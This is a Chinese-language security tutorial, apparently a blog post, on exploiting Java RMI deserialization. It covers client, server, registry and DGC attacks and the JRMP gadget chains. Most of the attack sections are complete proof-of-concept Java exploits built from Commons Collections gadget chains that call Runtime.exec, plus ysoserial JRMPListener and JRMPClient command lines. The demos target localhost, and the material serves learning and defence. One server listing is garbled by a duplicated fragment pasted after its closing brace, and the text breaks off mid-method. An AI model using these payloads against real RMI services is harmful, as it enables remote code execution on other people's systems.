0x00前言

在分析RMI源码的时候,我们知道在client、registry、server中都有反序列化的操作,也就是说三个角色都有被攻击的可能,这里在贴一下su18师傅总结的rmi流程分析,

RMI 底层通讯采用了Stub (运行在客户端) 和 Skeleton (运行在服务端) 机制,RMI 调用远程方法的大致如下:

  1. RMI 客户端在调用远程方法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
  2. Stub 会将 Remote 对象传递给远程引用层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall( 远程调用 )对象。
  3. RemoteCall 序列化 RMI 服务名称、Remote 对象。
  4. RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
  5. RMI服务端的远程引用层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
  6. Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
  7. Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
  8. RMI 客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI 客户端反序列化 RMI 远程方法调用结果。

0x01攻击RMI

攻击server端

01恶意服务参数

在客户端收到服务端创建的stub后,会在本地调用这个stub并传递参数,stub会序列化传入参数,并且传递给服务端,服务端会反序列化客户端传入的参数并进行调用,本质上就是在UnicastRef#invoke()中,调用unmarshalValue(),如下图:

image-20241116152432530 image-20241116152623888

当传入类不为上述类型时,就会进行反序列化

如果这个参数是Object类型的情况下,客户端可以传给服务端恶意的类,直接造成反序列化漏洞

我们创建一个RemoteInterface接口

1
2
3
4
5
6
7
8
9
package demo1;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteInterface extends Remote {
public String sayHello(Object obj)throws RemoteException;
public String sayGoodBye() throws RemoteException;
}

它的实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package demo1;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteInterfaceImpl extends UnicastRemoteObject implements RemoteInterface {


public RemoteInterfaceImpl() throws RemoteException {
super();
}

@Override
public String sayHello(Object obj)throws RemoteException {
return "Hello, "+obj;
}
@Override
public String sayGoodBye()throws RemoteException {
return "Goodbye";
}
}

注册中心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package demo1;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
RemoteInterface remoteInterface=new RemoteInterfaceImpl();
Registry registry= LocateRegistry.createRegistry(1099);
Naming.bind("rmi://localhost:1099/RemoteInterfaceImpl",remoteInterface);
}
}

其中,方法sayHello方法的参数类型就是Object,这样server端就会对传进来的参数进行反序列化。我们可以在客户端直接传入反序列化的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class EvilClientdemo {
public static void main(String[] args) throws Exception {
Registry registry= LocateRegistry.getRegistry("localhost",1099);
RemoteInterface remoteInterface=(RemoteInterface) Naming.lookup("rmi://localhost:1099/RemoteInterfaceImpl");
System.out.println(remoteInterface.sayGoodBye());
System.out.println(remoteInterface.sayHello(EvilClass()));//传入恶意对象,server端会对此进行反序列化
}

public static Object EvilClass() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");
hashMap.remove("key1");
Class<LazyMap> lazyMapClass=LazyMap.class;
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return expMap;
}

}

通常我们需要保证客户端和服务端调用的服务接口是一样的,那如果不一样会发生什么?

我们把服务端RemoteInterface接口的参数改成HelloObject name,同时客户端保持不变,仍然是Object name

1
2
3
4
5
6
7
public String sayHello(HelloObject obj)throws RemoteException;
//RemoteInterface
@Override
public String sayHello(HelloObject obj)throws RemoteException {
return "Hello, "+obj;
}
//RemoteInterfaceImpl

此时再进行远程方法调用就会出现错误,这是因为客户端调用的方法和服务端的方法签名不一致导致的。我们在分析rmi源码中的UnicastServerRef#dispatch的时候知道,要查找一个Method就是通过查找Method的哈希值来查找的

那么我们有没有办法让让传递服务端参数是HelloObjectMethod的哈希,但是传递的参数却不是HelloObject而是恶意的反序列化数据?

最简单的办法就是debug时修改,现在我们把client端的参数类型为HelloObjectsayHello方法一起写上

因为最后客户端远程调用服务端的方法是通过RemoteObjectInvocationHandler#invokeRemoteMethod用反射调用的方法实现的,所以我们在这个方法上打下断点

然后在客户端调用sayHello方法时,改成调用参数为HelloObjectsayHello方法

1
method = RemoteInterface.class.getDeclaredMethod("sayHello", HelloObject.class)

最后成功弹出计算器

02动态类加载(待填坑)

本质上是远程加载对象,但是利用条件很苛刻,实际环境下很难遇到到这个情况

攻击registry端

01bind&rebind

高版本jdk中,注册中心和服务端都是绑定在一起的,首先由server端向registry端绑定服务对象,这个对象是一个server端生成的动态代理类,当调用bind方法的时候,registry端会通过RegistryImpl_Skel#dispatch方法来将这个动态代理类进行反序列化。

所以我们可以构造一个恶意的server端,向registry端输送恶意对象,也就是由server端攻击registry,在其反序列化的时候就可以被调用

下面是server端攻击registry的示例,在写poc前注意一点,因为HashMap不是继承自Remote接口的类,不能直接进行bind操作,所以需要写一个包装类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.Serializable;
import java.lang.reflect.Field;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class Server {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");
hashMap.remove("key1");
Class<LazyMap> lazyMapClass=LazyMap.class;
lazyMapClass.getDeclaredField("factory");
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

Registry registry=LocateRegistry.createRegistry(1099);
Naming.bind("rmi://localhost:1099/RemoteInterfaceImpl",new Wrapper(expMap));
}
static class Wrapper implements Remote, Serializable {
private Object obj;
public Wrapper(Object obj){
this.obj=obj;
}
}
}

bind改成rebind的效果是一样的

02unbind&lookup

unbindlookup也会调用readObject,因为lookup常见于客户端中,所以这里介绍从客户端进行对注册中心的攻击

但是这里的限制是,当我们调用unbindlookup的时候,只允许我们传递字符串,没办法传递恶意对象。要解决这个问题就需要我们通过反射来伪造连接请求

我们看看Naming.lookup这一步发生了什么

在里面调用了registry.lookup,而registry又是前面getRegistry返回的RegistryImpl_Stub对象

operations位于RegistryImpl_Stub

ref位于RemoteObject

可以通过反射调用来获取这两个变量,我们先看一下类的继承图

1
2
3
4
//获取ref
Field[] fields_0=registry.getClass().getSuperclass().getSuperclass().getDecalredFields();
fields_0[0].setAccessible(true);
Unicast ref=(UnicastRef)fields_0[0].get(registry);
1
2
3
4
//获取operations
Field[] fields_1=registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations=(Operation[])fields_1[0].get(registry);

最后就是伪造lookup代码,模拟通信过程并且传入恶意信息,其中o是传入的恶意对象

1
2
3
4
RemoteCall var2=ref.newCall((RemoteObject)registry,operations, 2, 4905912898345647071L);
ObjectOutput var3=var2.getOutputStream();
var3.writeObject(o);
ref.invoke(var2);

接下来在client端模拟攻击过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class EvilClientdemo1 {
public static void lookup(Registry registry, Object o)throws Exception{
//获取ref
Field[] fields_0=registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref=(UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1=registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations=(Operation[])fields_1[0].get(registry);
//伪造lookup代码
RemoteCall var2=ref.newCall((RemoteObject)registry, operations, 2, 4905912898345647071L);
ObjectOutput var3=var2.getOutputStream();
var3.writeObject(o);
ref.invoke(var2);
}
public static Object CC6()throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");
hashMap.remove("key1");
Class<LazyMap> lazyMapClass=LazyMap.class;
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return new WrapperClass(expMap);
}
public static void main(String[] args)throws Exception {
Registry registry=LocateRegistry.getRegistry("localhost",1099);
lookup(registry,CC6());
}
static class WrapperClass implements Serializable, Remote{
private Object obj;
public WrapperClass(Object o){
this.obj=o;
}
}
}

服务端和注册中心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
package demo1;//注册中心&服务端

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ServerDemo1 {
public static void main(String[] args)throws Exception{
RemoteInterfaceImpl remoteInterface=new RemoteInterfaceImpl();
Registry registry= LocateRegistry.createRegistry(1099);
Naming.bind("rmi://localhost:1099/RemoteInterfaceImpl",remoteInterface);
}
}

攻击client

如果攻击的目标作为 Client 端,也就是在 Registry 地址可控,或 Registry/Server 端可控,也是可以导致攻击的。客户端主要有两个交互行为,第一是从 Registry 端获取调用服务的 stub(RegistryImpl_Stub实例)序列化后再反序列化,第二是调用服务后获取执行结果并反序列化。

01registry端攻击client端

对于注册中心来说,我们还是从下面几个方法触发:

  • bind
  • unbind
  • rebind
  • list
  • lookup

当执行上面的操作的时候,registry端发送序列化的数据给client端,client端进行反序列化的时候就会触发反序列化漏洞,

调用栈为:RegistryImpl_Stub#lookup(或者是其他方法)->UnicastRef#invoke()->StreamRemoteCall#executeCall()->ObjectInputStream#readObject()

攻击JRMP客户端

首先启动ysoserial的JRMPListener,开启一个恶意的注册中心,有关JRMPListener,halfblue的解释如下:

只要客户端的stub发起JRMP请求,就会调用UnicastRef#invoke,也就会调用StreamRemoteCall#executeCall,导致被反序列化攻击。这里想实现攻击需要自己实现一个恶意服务端,把返回的异常信息改成payload,其实这就是ysoserial里面的exploit/JRMPListener实现的功能。具体实现大概就是从TCPTransport#run0拷过来,没用的删删,改改最后处理的地方。
具体使用是先启动监听

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"

然后开始写客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package demo1;

import java.io.Serializable;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Clientdemo {
public static void main(String[] args)throws Exception{
Registry registry= LocateRegistry.getRegistry("localhost",1099);
Naming.lookup("hello");
// Naming.list("hello");
// Naming.unbind("hello");
// Naming.rebind("hello", new RemoteClass());

}
static class RemoteClass implements Serializable, Remote {
private Object object;
public RemoteClass(Object object)
{
this.object=object;
}
public RemoteClass(){};

}
}

其实五个方法都可以进行反序列化攻击,不过传入bind/rebind的对象除了要继承Remote接口之外还需要继承Serializable接口

02server端攻击client端

server端攻击client端有两种情况:一种是利用codebase远程加载对象,另一种就是像client端攻击server端一样,传入恶意Object。

client端调用server端的恶意方法,server端传入恶意对象

我们以传入恶意Object为例,client调用server的方法,server将调用结果序列化后返回给client,client再调用Unicast#invoke,然后里面调用到unmarshalValue方法对结果进行反序列化,这一点和client攻击servere端是一样的。如果server端返回值类型为Object的恶意方法,然后在client端调用这个恶意方法并且反序列化,就可以进行攻击,下面是恶意server端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package demo1;//服务端攻击客户端

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class ServerDemo2 {
public static void main(String[] args)throws Exception{
EvilInterface evilInterfaceImpl=new EvilInterfaceImpl();
Registry registry=LocateRegistry.createRegistry(1099);
Naming.bind("rmi://localhost:1099/evilInterfaceImpl",evilInterfaceImpl);
}

}
interface EvilInterface extends Remote {
public Object CC1() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException;
}
class EvilInterfaceImpl extends UnicastRemoteObject implements EvilInterface{
public EvilInterfaceImpl() throws RemoteException {
super();
}
@Override
public Object CC1() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("value","value");
Map<Object,Object> transformedMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor=c.getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
InvocationHandler o=(InvocationHandler) ctor.newInstance(Target.class,transformedMap);
return o;
}
} Naming.bind("rmi://localhost:1099/evilserver",evilInterfaceImpl);
}
public static interface EvilInterface extends Remote {
public Object CC1() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException;
}
public static class EvilInterfaceImpl extends UnicastRemoteObject implements EvilInterface{
public EvilInterfaceImpl() throws RemoteException {
super();
}
@Override
public Object CC1() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("value","value");
Map<Object,Object> transformedMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
InvocationHandler o=(InvocationHandler) constructor.newInstance(Target.class,transformedMap);
return o;
}
}
}

client端调用恶意方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.reflect.InvocationTargetException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ClientDemo1 {
public static void main(String[] args)throws Exception{
Registry registry= LocateRegistry.getRegistry("localshot",1099);
EvilInterface evilInterface=(EvilInterface) Naming.lookup("rmi://localhost:1099/evilInterfaceImpl");
evilInterface.CC1();
}
}
interface EvilInterface extends Remote {
public Object CC1() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException;
}

利用codebase进行攻击(待填坑)

利用codebase进行攻击的条件较为苛刻,这里先不介绍

攻击DGC

我们分析RMI整个通信过程的时候,在最后一步:server端响应client端的方法调用的时候,就会接收到DGCImpl_Stub对象

什么是DGC呢,这里也引用一下su18师傅的文章:

DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。

RMI定义了一个接口java.rmi.dgc.DGC

1
2
3
4
5
6
7
8
9
10
11
12
13
package java.rmi.dgc;

import java.rmi.*;
import java.rmi.server.ObjID;

public interface DGC extends Remote {

Lease dirty(ObjID[] ids, long sequenceNum, Lease lease)
throws RemoteException;

void clean(ObjID[] ids, long sequenceNum, VMID vmid, boolean strong)
throws RemoteException;
}
  • 当client远程引用对象时,例如lookup,就会调用dirty方法,返回租约对象
  • 当客户端不再持有远程引用的对象时,触发clean来清除这个远程引用

并且有两个类实现了这个接口sun.rmi.transport.DGCImpl&sun.rmi.transport.DGCImpl_Stub,同时还定义了sun.rmi.transport.DGCImpl_Skel。这几个类其实和Registry类似,DGC通信的处理类是DGCImpl_Skel,通过dispatch方法来处理dirtyclean两个方法

image-20241116124237761 image-20241116124259368

两个方法都涉及到readObject操作,也就是说都有被攻击的可能。所以我们的目标就是构造DGC通信并且在指定位置写入序列化后的恶意类,思路就是获取DGCImpl_Stub对象,重写dirty&clean,然后在DGcImpl_Skel处进行反序列化,和利用lookup&unbind攻击registry的思路差不多,这里以重写dirty为例,把halfblue师傅的exp拿来完善了一下文章地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package dgc;

import demo1.EvilClientdemo1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.Endpoint;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class DGCExploit {
public static Object CC6()throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");
hashMap.remove("key1");
Class<LazyMap> lazyMapClass=LazyMap.class;
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return expMap;
}
public static void main(String[] args) throws Exception{
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);

Class c = registry.getClass().getSuperclass().getSuperclass();
Field refField = c.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef unicastRef = (UnicastRef) refField.get(registry);

Class c2 = unicastRef.getClass();
Field refField2 = c2.getDeclaredField("ref");
refField2.setAccessible(true);
LiveRef liveRef = (LiveRef) refField2.get(unicastRef);

Class c3 = liveRef.getClass();
Field epField = c3.getDeclaredField("ep");
epField.setAccessible(true);
TCPEndpoint tcpEndpoint = (TCPEndpoint) epField.get(liveRef);

Class c4 = Class.forName("sun.rmi.transport.DGCClient$EndpointEntry");
Method lookupMethod = c4.getDeclaredMethod("lookup", Endpoint.class);
lookupMethod.setAccessible(true);
Object endpointEntry = lookupMethod.invoke(null, tcpEndpoint);

Class c5 = endpointEntry.getClass();
Field dgcField = c5.getDeclaredField("dgc");
dgcField.setAccessible(true);
RemoteObject dgc = (RemoteObject) dgcField.get(endpointEntry);

Class c6 = dgc.getClass().getSuperclass().getSuperclass();
Field refField3 = c6.getDeclaredField("ref");
refField3.setAccessible(true);
UnicastRef unicastRef2 = (UnicastRef) refField3.get(dgc);

Operation[] operations = new Operation[]{new Operation("void clean(java.rmi.server.ObjID[], long, java.rmi.dgc.VMID, boolean)"), new Operation("java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[], long, java.rmi.dgc.Lease)")};
RemoteCall var5 = unicastRef2.newCall(dgc, operations, 1, -669196253586618813L);
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(CC6());
unicastRef2.invoke(var5);
}
}

server端开启后

ysoserial里也有对应的exp,里面的实现方法是用socket重写jrmp协议。JRMPClient模块的攻击目标就是DGC

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPClient localhost 1099 CommonsCollections1 "calc.exe"

0x02JRMP反序列化

RMI的一些类可以用来组成反序列化利用链

UnicastRemoteObject

UnicastRemoteObject是远程调用接口实现类的父类,我们在创建远程对象的时候,实际上就会调用UnicastRemoteObject#exportObject将其暴露在网络中并随机监听一个端口

所以在反序列化UnicastRemoteObject及其子类后,依然需要执行exportObject方法,我们注意到它的readObject方法

里面调用了reexport()

然后直接调用exportObject方法,触发 JRMP 监听端口,并会对请求进行解析和反序列化操作,那就可以配合 DGC 的处理逻辑来进行攻击。这条链子就是ysoserial.payloads.JRMPListener

GadgetChain如下:

1
2
3
4
5
6
7
8
9
10
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});

Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}


public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}

有关createWithConstructor()方法的定义如下:

1
2
3
4
5
6
7
8
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}

ysoserial.payloads.JRMPListener中调用createWithConstructor就是创建了一个ActivationGroupImpl实例,然后再向上转型为UnicastRemoteObject

根据上面这些我们写出poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package unicastremoteobject;

import sun.reflect.ReflectionFactory;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;

public class JRMPListener {
public static void main(String[] args)throws Exception{
int jrmpPort=1099;
UnicastRemoteObject uro=createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Field field=UnicastRemoteObject.class.getDeclaredField("port");
field.setAccessible(true);
field.set(uro,jrmpPort);
serialize(uro);
unserialize("ser.bin");
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
